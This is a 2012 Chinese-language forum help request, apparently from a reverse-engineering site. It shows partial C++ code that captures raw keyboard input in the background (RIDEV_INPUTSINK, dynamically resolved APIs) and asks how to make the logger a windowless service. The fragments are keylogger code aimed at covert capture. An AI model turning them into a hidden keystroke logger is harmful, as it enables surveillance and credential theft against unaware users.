-
-
[求助]软键盘记录
-
发表于:
2012-12-24 12:41
5672
-
各位大牛们 我想要写一个能记录软键盘输入信息的程序,我现在找到一个 类似的,不过那个有界面,但是我想把自己的程序写成服务。要求无界面
例如为了从键盘获取原始输入,设置UsagePage = 1 and Usage = 6,应用程序调用RegisterRawInputDevice去注册这个设备。
BOOL RegisitKeyBord(HWND hwnd)
{
if(NULL == hwnd)
return false;
PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");
if(NULL == RegisterRawInputDevices)
return false;
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = hwnd;
return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));
}
调用GetRawInputData来获取这些数据
case WM_INPUT:
if(NULL == GetRawInputData)
{
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
}
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
lpb = new BYTE[dwSize];
if(lpb == NULL)
{
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
}
if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
MessageBox(NULL, "GetRawInputData doesn't return correct size !", "Raw Input Test", 0);
raw = (RAWINPUT*)lpb;
if (raw->header.dwType == RIM_TYPEKEYBOARD)
{
wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey))
}
delete[] lpb;
请问要修改成 无界面的要怎么改
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)